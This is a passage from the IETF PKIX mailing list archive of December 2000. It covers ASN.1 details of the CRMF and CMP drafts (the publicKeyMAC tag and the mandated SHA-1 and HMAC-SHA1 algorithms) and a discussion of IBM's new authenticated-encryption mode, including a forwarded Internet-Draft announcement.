FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp; -- the sender; publicKeyMAC contains a =
password-based MAC</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp; -- on the DER-encoded value of publicKey</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
publicKey&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
SubjectPublicKeyInfo }&nbsp; -- from CertTemplate</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
draft-ietf-pkix-rfc2510bis-01 Section 3.2.8 has:</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; POPOSigningKeyInput ::=3D SEQUENCE =
{</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp; =
authInfo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p; CHOICE {</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
sender&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp; [0] GeneralName,</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -- from PKIHeader (used only if an =
authenticated identity</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -- has been established for the sender =
(e.g., a DN from a</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -- previously-issued and =
currently-valid certificate))</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
publicKeyMAC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [1] =
PKMACValue</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -- used if no authenticated GeneralName =
currently exists for</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -- the sender; publicKeyMAC contains a =
password-based MAC</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -- (using the protectionAlg AlgId from =
PKIHeader) on the</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -- DER-encoded value of =
publicKey</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp; },</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp; =
publicKey&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
SubjectPublicKeyInfo&nbsp;&nbsp;&nbsp; -- from CertTemplate</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; So =
-- is the publicKeyMAC choice tagged or not?</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ari =
Kermaier</FONT>
</P>
</UL>
</BODY>
</HTML>
------_=_NextPart_001_01C05BD6.996FBDE0--


From owner-ietf-pkix@imc.org  Fri Dec  1 17:12:20 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA05145
	for <pkix-archive@odin.ietf.org>; Fri, 1 Dec 2000 17:12:19 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id OAA01482;
	Fri, 1 Dec 2000 14:09:45 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Fri, 1 Dec 2000 14:09:34 -0800
Received: from tholian.securitydynamics.com (tholian.securid.com [204.167.112.129])
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id OAA01450
	for <ietf-pkix@imc.org>; Fri, 1 Dec 2000 14:09:31 -0800 (PST)
Received: from sdtihq24.securitydynamics.com by tholian.securitydynamics.com
          via smtpd (for mail.imc.org [208.184.76.43]) with SMTP; 1 Dec 2000 22:11:01 UT
Received: from exrsa01.rsa.com (exrsa01.securitydynamics.com [10.81.217.7])
	by sdtihq24.securid.com (Pro-8.9.3/Pro-8.9.3) with ESMTP id RAA09084
	for <ietf-pkix@imc.org>; Fri, 1 Dec 2000 17:11:04 -0500 (EST)
Received: by exrsa01.rsa.com with Internet Mail Service (5.5.2650.21)
	id <YCCK6VWW>; Fri, 1 Dec 2000 14:02:37 -0800
Message-ID: <E7B6CB80230AD31185AD0008C7EBC4D26663D2@exrsa01.rsa.com>
From: "Jacoby, Jeffrey" <jjacoby@rsasecurity.com>
To: "'ietf-pkix@imc.org'" <ietf-pkix@imc.org>
Subject: RE: draft-ietf-pkix-rfc2511bis-00
Date: Fri, 1 Dec 2000 14:02:35 -0800 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

Carlisle, Ari,
 
  Thanks guys.  
 
  Clears up it up very nicely for me! [ I'm still getting used to RFC-speak
:-) ]
 
Jeff
 

-----Original Message-----
From: Carlisle Adams [mailto:carlisle.adams@entrust.com]
Sent: Friday, December 01, 2000 12:38 PM
To: Jacoby, Jeffrey; 'Ari Kermaier'
Cc: ietf-pkix@imc.org
Subject: RE: draft-ietf-pkix-rfc2511bis-00



Hi Ari, 

	---------- 
From:   Ari Kermaier[SMTP:arik@phaos.com] 
Sent:   Friday, December 01, 2000 2:35 PM 
To:     Jacoby, Jeffrey; ietf-pkix@imc.org 
Subject:        RE: draft-ietf-pkix-rfc2511bis-00 

	Jeff, 

	I understood this to mean that the PasswordBaseMac algorithm defined
here 
(and its attendant PMBParameter) can be be used in general to support any 
appropriate OWF and/or MAC algorithm, but SHA-1 and HMAC-SHA1 are mandated 
for use within CMP/CRMF. 

	But that's just my opinion, I could be wrong. :-) 

  
It's a great opinion, and you could be right...  :-) 

Yes, this is what was intended.  Again, remember that "mandatory" in the
IETF sense simply means "must be supported for compliance and guaranteed
interoperability purposes".  You are never prohibited from supporting other
things as well and, in fact, using those other choices as your default
operational algorithms.

Carlisle. 

	Ari 

	>Hi, 
> 
>Another thing that would be nice to clear up in 
>draft-ietf-pkix-rfc2511bis-00.txt 
>is the comments on PBMParameter.  In section 4.4.1 (and also in Appendix C)

>is 
>this: 
> 
>PBMParameter ::= SEQUENCE { 
>   salt                OCTET STRING, 
>   owf                 AlgorithmIdentifier, 
>   -- AlgId for a One-Way Function (SHA-1 recommended) 
>   iterationCount      INTEGER, 
>   -- number of times the OWF is applied 
>   mac                 AlgorithmIdentifier 
>   -- the MAC AlgId (e.g., DES-MAC, Triple-DES-MAC [PKCS11], 
>} -- or HMAC [RFC2104, RFC2202]) 
> 
>However, at the end of that very section, is this statement: 
> 
>   The AlgorithmIdentifier for owf SHALL be SHA-1 {1 3 14 3 2 26} and 
>   for mac SHALL be HMAC-SHA1 {1 3 6 1 5 5 8 1 2}. 
> 
>So why, in the comments, is SHA-1 "recommended", and numerous examples are 
>given for mac? 
> 
>Jeff 
> 
>-------------------------------------------------------------------------- 
> 
> 
>Jeff Jacoby         phone: (650) 295-7569 
>Sr. Developer       email: jjacoby@rsasecurity.com 
>< mailto:jjacoby@rsasecurity.com <mailto:jjacoby@rsasecurity.com> > 
> 
>RSA Security, SMDC 
>2755 Campus Drive, Suite 300 
>San Mateo, CA 94403 
> 
> 
> 
> 
> 
> 
> 
>-----Original Message----- 
>From: Carlisle Adams [ mailto:carlisle.adams@entrust.com
<mailto:carlisle.adams@entrust.com>  
>< mailto:carlisle.adams@entrust.com <mailto:carlisle.adams@entrust.com> > ]

>Sent: Thursday, November 30, 2000 12:51 PM 
>To: 'Ari Kermaier' 
>Cc: ietf-pkix@imc.org < mailto:ietf-pkix@imc.org <mailto:ietf-pkix@imc.org>
> 
>Subject: RE: draft-ietf-pkix-rfc2511bis-00 
> 
> 
> 
>Hi Ari, 
> 
>RFC 2511 (and therefore rfc2511bis-00.txt) has the definitive syntax (the 
>section in 2510 discusses semantic interpretation).  Therefore,
publicKeyMAC 
>is untagged.  I will try to remember to remove the tag from rfc2510bis as
it 
>progresses. 
> 
>Thanks for noticing this! 
> 
>Carlisle. 
> 
> 
>         ---------- 
>From:   Ari Kermaier[SMTP:arik@phaos.com] 
>Sent:   Thursday, November 30, 2000 2:20 PM 
>To:     ietf-pkix@imc.org 
>Subject:        RE: draft-ietf-pkix-rfc2511bis-00 
> 
>         A question of ASN.1 in CRMF: 
> 
>         draft-ietf-pkix-rfc2511bis-00 Section 4.4 has: 
> 
>             POPOSigningKeyInput ::= SEQUENCE { 
>         authInfo            CHOICE { 
>             sender              [0] GeneralName, 
>             -- used only if an authenticated identity has been 
>             -- established for the sender (e.g., a DN from a 
>             -- previously-issued and currently-valid certificate) 
>             publicKeyMAC        PKMACValue }, 
>             -- used if no authenticated GeneralName currently exists for 
>             -- the sender; publicKeyMAC contains a password-based MAC 
>             -- on the DER-encoded value of publicKey 
>         publicKey           SubjectPublicKeyInfo }  -- from CertTemplate 
> 
>         draft-ietf-pkix-rfc2510bis-01 Section 3.2.8 has: 
> 
>               POPOSigningKeyInput ::= SEQUENCE { 
>           authInfo            CHOICE { 
>               sender              [0] GeneralName, 
>               -- from PKIHeader (used only if an authenticated identity 
>               -- has been established for the sender (e.g., a DN from a 
>               -- previously-issued and currently-valid certificate)) 
>               publicKeyMAC        [1] PKMACValue 
>               -- used if no authenticated GeneralName currently exists for

>               -- the sender; publicKeyMAC contains a password-based MAC 
>               -- (using the protectionAlg AlgId from PKIHeader) on the 
>               -- DER-encoded value of publicKey 
>           }, 
>           publicKey           SubjectPublicKeyInfo    -- from CertTemplate

>       } 
> 
>         So -- is the publicKeyMAC choice tagged or not? 
> 
>         Ari Kermaier 



From owner-ietf-pkix@imc.org  Sat Dec  2 12:21:52 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA14202
	for <pkix-archive@odin.ietf.org>; Sat, 2 Dec 2000 12:21:52 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id JAA11262;
	Sat, 2 Dec 2000 09:19:15 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Sat, 2 Dec 2000 09:18:18 -0800
Received: from mailc.telia.com (mailc.telia.com [194.22.190.4])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id JAA11182
	for <ietf-pkix@imc.org>; Sat, 2 Dec 2000 09:18:17 -0800 (PST)
Received: from d1o69.telia.com (d1o69.telia.com [62.20.144.241])
	by mailc.telia.com (8.11.0/8.11.0) with ESMTP id eB2HK0A17002;
	Sat, 2 Dec 2000 18:20:00 +0100 (CET)
Received: from mega (t3o69p109.telia.com [62.20.145.109])
	by d1o69.telia.com (8.10.2/8.10.1) with SMTP id eB2HJxo08131;
	Sat, 2 Dec 2000 18:19:59 +0100 (CET)
Message-ID: <000b01c05c83$e4af9fc0$0201a8c0@vincent.se>
From: "Anders Rundgren" <anders.rundgren@telia.com>
To: "PKIX-List" <ietf-pkix@imc.org>
Subject: New IBM algorithm encrypts and authenticates simultaneously
Date: Sat, 2 Dec 2000 18:18:29 +0100
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ns.secondary.com id JAA11183
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
Content-Transfer-Encoding: 8bit

http://www.research.ibm.com/resources/news/20001130_security_tech.html



From owner-ietf-pkix@imc.org  Sat Dec  2 13:17:39 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA20311
	for <pkix-archive@odin.ietf.org>; Sat, 2 Dec 2000 13:17:38 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id KAA14988;
	Sat, 2 Dec 2000 10:15:21 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Sat, 2 Dec 2000 10:15:07 -0800
Received: from janus.hosting4u.net (janus.hosting4u.net [209.15.2.37])
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id KAA14950
	for <ietf-pkix@imc.org>; Sat, 2 Dec 2000 10:15:05 -0800 (PST)
Received: (qmail 3099 invoked from network); 2 Dec 2000 18:16:42 -0000
Received: from taurus.hosting4u.net (209.15.2.33)
  by mail-gate.hosting4u.net with SMTP; 2 Dec 2000 18:16:42 -0000
Received: from nma.com ([63.204.17.82]) by taurus.hosting4u.net ; Sat, 02 Dec 2000 12:16:39 -0600
Message-ID: <3A293BF7.3585EAF1@nma.com>
Date: Sat, 02 Dec 2000 10:14:15 -0800
From: Ed Gerck <egerck@nma.com>
X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony}  (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Anders Rundgren <anders.rundgren@telia.com>
CC: PKIX-List <ietf-pkix@imc.org>
Subject: not first, Re: New IBM algorithm encrypts and authenticates 
 simultaneously
References: <000b01c05c83$e4af9fc0$0201a8c0@vincent.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
Content-Transfer-Encoding: 7bit

It is not true that IBM's was the first algorithm to simultaneously
encrypt and certify information. At least my own DVC algorithm,
patent pending and used in public official trials of Internet voting
this October in California, also encrypts and certifies in the same
operation *and* token.  The information is available at
www.safevote.com -- a licensee of the technology.

Cheers,

Ed Gerck

Anders Rundgren wrote:

> http://www.research.ibm.com/resources/news/20001130_security_tech.html



From owner-ietf-pkix@imc.org  Sun Dec  3 08:04:35 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA10121
	for <pkix-archive@odin.ietf.org>; Sun, 3 Dec 2000 08:04:35 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id FAA25439;
	Sun, 3 Dec 2000 05:01:58 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Sun, 3 Dec 2000 05:01:25 -0800
Received: from iaik.tu-graz.ac.at (excalibur.iaik.tu-graz.ac.at [129.27.152.30])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id FAA25374
	for <ietf-pkix@imc.org>; Sun, 3 Dec 2000 05:01:23 -0800 (PST)
Received: from PLIPPA [129.27.152.34] by iaik.tu-graz.ac.at
  (SMTPD32-6.00) id A47FBF90086; Sun, 03 Dec 2000 14:02:55 +0100
From: "Peter Lipp" <plippml@iaik.at>
To: "Ed Gerck" <egerck@nma.com>, "Anders Rundgren" <anders.rundgren@telia.com>
Cc: "PKIX-List" <ietf-pkix@imc.org>
Subject: AW: not first, Re: New IBM algorithm encrypts and authenticates  simultaneously
Date: Sun, 3 Dec 2000 14:03:46 +0100
Message-ID: <EEEMLGNGAECGELLDDHKBEELNCAAA.plippml@iaik.at>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
In-Reply-To: <3A293BF7.3585EAF1@nma.com>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
Content-Transfer-Encoding: 7bit

>It is not true that IBM's was the first algorithm to simultaneously
>encrypt and certify information.

All they claim is they were the first doing it in half the time :-)

>>New algorithm first to perform encryption and authentication
simultaneously in half the time

Is there any pointer to a more technical description of that?

Peter



From owner-ietf-pkix@imc.org  Sun Dec  3 09:55:34 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA18194
	for <pkix-archive@odin.ietf.org>; Sun, 3 Dec 2000 09:55:33 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id GAA03425;
	Sun, 3 Dec 2000 06:53:07 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Sun, 3 Dec 2000 06:52:47 -0800
Received: from dc-mx06.cluster0.hsacorp.net ([209.225.8.16])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id GAA03371
	for <ietf-pkix@imc.org>; Sun, 3 Dec 2000 06:52:46 -0800 (PST)
Received: from [24.216.106.38] (HELO hwclg18)
  by dc-mx06.cluster0.hsacorp.net (CommuniGate Pro SMTP 3.4b1)
  with SMTP id 13347162; Sun, 03 Dec 2000 07:53:47 -0700
From: "David Carman" <dcarman@hw.midatlanticexpress.com>
To: "Peter Lipp" <plippml@iaik.at>
Cc: "PKIX-List" <ietf-pkix@imc.org>
Subject: RE: not first, Re: New IBM algorithm encrypts and authenticates  simultaneously
Date: Sun, 3 Dec 2000 09:54:22 -0500
Message-ID: <NDBBJAINMLLAINKMJCIBIENIDMAA.dcarman@hw.midatlanticexpress.com>
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0366_01C05D0F.03C66480"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
In-Reply-To: <EEEMLGNGAECGELLDDHKBEELNCAAA.plippml@iaik.at>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Importance: Normal
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

This is a multi-part message in MIME format.

------=_NextPart_000_0366_01C05D0F.03C66480
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

 
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

I believe the attached draft corresponds to the marketing/news.

FYI - DWC

> -----Original Message-----
> From: Peter Lipp [mailto:plippml@iaik.at]
> Sent: Sunday, December 03, 2000 8:04 AM
> To: Ed Gerck; Anders Rundgren
> Cc: PKIX-List
> Subject: AW: not first, Re: New IBM algorithm encrypts and
> authenticates simultaneously
> 
> 
> >It is not true that IBM's was the first algorithm to
> >simultaneously encrypt and certify information.
> 
> All they claim is they were the first doing it in half the time :-)
> 
> >>New algorithm first to perform encryption and authentication
> simultaneously in half the time
> 
> Is there any pointer to a more technical description of that?
> 
> Peter

-----BEGIN PGP SIGNATURE-----
Version: PGP 7.0

iQA/AwUBOipemeJejw5U8dD6EQLY1wCgnd+Tn7XDRLKWbk2vg0i6LhxRc5IAn0OP
eaq/5sJKLa1xIlVkRde68A1q
=wFnH
-----END PGP SIGNATURE-----

------=_NextPart_000_0366_01C05D0F.03C66480
Content-Type: message/rfc822
Content-Disposition: attachment

Reply-To: <Internet-Drafts@ietf.org>
From: <Internet-Drafts@ietf.org>
Sender: <nsyracus@cnri.reston.va.us>
To: <IETF-Announce:>
Subject: I-D ACTION:draft-jutla-ietf-ipsec-esp-iapm-00.txt
Date: Wed, 22 Nov 2000 06:04:08 -0500
Message-ID: <200011221104.GAA19735@ietf.org>
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0363_01C05D0F.039BAB00"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Importance: Normal

This is a multi-part message in MIME format.

------=_NextPart_000_0363_01C05D0F.039BAB00
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

 
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

A New Internet-Draft is available from the on-line Internet-Drafts
directories.


	Title		: A Parallelizable Authenticated Encryption Algorithm
                          for IPsec
	Author(s)	: C. Jutla
	Filename	: draft-jutla-ietf-ipsec-esp-iapm-00.txt
	Pages		: 11
	Date		: 21-Nov-00
	
This document  describes a new authenticated encryption
mode of operation of block ciphers called 'Integrity
Aware Parallelizable Mode (IAPM)' which is simple,
efficient, highly parallelizable, and provably secure.
One of the main features distinguishing the new mode
(IAPM) from existing modes is that along with providing
confidentiality of the payload, the new mode also pro-
vides authenticity of the payload. This is particularly
relevant to the ESP security protocol of IPsec.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-jutla-ietf-ipsec-esp-iapm-00
.txt

Internet-Drafts are also available by anonymous FTP. Login with the
username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-jutla-ietf-ipsec-esp-iapm-00.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-jutla-ietf-ipsec-esp-iapm-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

-----BEGIN PGP SIGNATURE-----
Version: PGP 7.0

iQA/AwUBOipemuJejw5U8dD6EQKo0QCgm+zpGcfAQ0Md+IaALFfRad+fOSEAniMV
gVSOG3yFxaw1k20P84/cZkHX
=kn/F
-----END PGP SIGNATURE-----

------=_NextPart_000_0363_01C05D0F.039BAB00
Content-Type: Message/External-body;
	name="ATT01106.dat"
Content-Disposition: attachment;
	filename="ATT01106.dat"
Content-Transfer-Encoding: 7bit

Content-Type: text/plain
Content-ID:	<20001121110902.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-jutla-ietf-ipsec-esp-iapm-00.txt

------=_NextPart_000_0363_01C05D0F.039BAB00
Content-Type: Message/External-body;
	name="draft-jutla-ietf-ipsec-esp-iapm-00.txt"
Content-Disposition: attachment;
	filename="draft-jutla-ietf-ipsec-esp-iapm-00.txt"
Content-Transfer-Encoding: 7bit

Content-Type: text/plain
Content-ID:	<20001121110902.I-D@ietf.org>

------=_NextPart_000_0363_01C05D0F.039BAB00--

------=_NextPart_000_0366_01C05D0F.03C66480--



From owner-ietf-pkix@imc.org  Sun Dec  3 11:44:25 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA15279
	for <pkix-archive@odin.ietf.org>; Sun, 3 Dec 2000 11:44:24 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id IAA17641;
	Sun, 3 Dec 2000 08:41:43 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Sun, 3 Dec 2000 08:41:22 -0800
Received: from janus.hosting4u.net (janus.hosting4u.net [209.15.2.37])
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id IAA17592
	for <ietf-pkix@imc.org>; Sun, 3 Dec 2000 08:41:21 -0800 (PST)
Received: (qmail 29753 invoked from network); 3 Dec 2000 16:43:13 -0000
Received: from taurus.hosting4u.net (209.15.2.33)
  by mail-gate.hosting4u.net with SMTP; 3 Dec 2000 16:43:13 -0000
Received: from nma.com ([63.204.17.82]) by taurus.hosting4u.net ; Sun, 03 Dec 2000 10:43:11 -0600
Message-ID: <3A2A771B.B81DA3C8@nma.com>
Date: Sun, 03 Dec 2000 08:38:51 -0800
From: Ed Gerck <egerck@nma.com>
X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony}  (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Peter Lipp <plippml@iaik.at>
CC: Ed Gerck <egerck@nma.com>, Anders Rundgren <anders.rundgren@telia.com>,
        PKIX-List <ietf-pkix@imc.org>
Subject: Re: AW: not first, Re: New IBM algorithm encrypts and authenticates  
 simultaneously
References: <EEEMLGNGAECGELLDDHKBEELNCAAA.plippml@iaik.at>
Content-Type: text/plain; charset=iso-8859-1
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
X-MIME-Autoconverted: from 8bit to quoted-printable by ns.secondary.com id IAA17641
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id LAA15279



Peter Lipp wrote:

> >It is not true that IBM's was the first algorithm to simultaneously
> >encrypt and certify information.
>
> All they claim is they were the first doing it in half the time :-)

Yes, you can read the first phrase this way too -- whatever half the time is ;-)
But in the news piece you read: "By combining the two steps, this security
algorithm will help accelerate e-business processes throughout the industry.” "

So, the key issue here is "combining the two steps". It is a very important
development by IBM.

This IBM announcement is important (and thanks to Anders for copying
it here) because it may be another drive, and a strong one, to look into
certification models that can provide (fro example) non-repudiation by including
encrypted secrets that require the cooperation of the certificate holder in order to
be revealed. These models may also need to  interface/interoperate with PKIX
as they advance.

> >>New algorithm first to perform encryption and authentication
> simultaneously in half the time
>
> Is there any pointer to a more technical description of that?

I did not find any further info on IBM's algorithm but maybe Tom Gindin
or someone from IBM in this list might be able to help?

Cheers,

Ed Gerck



From owner-ietf-pkix@imc.org  Sun Dec  3 16:50:55 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA17635
	for <pkix-archive@odin.ietf.org>; Sun, 3 Dec 2000 16:50:55 -0500 (EST)
Received: from localhost (daemon@localhost)
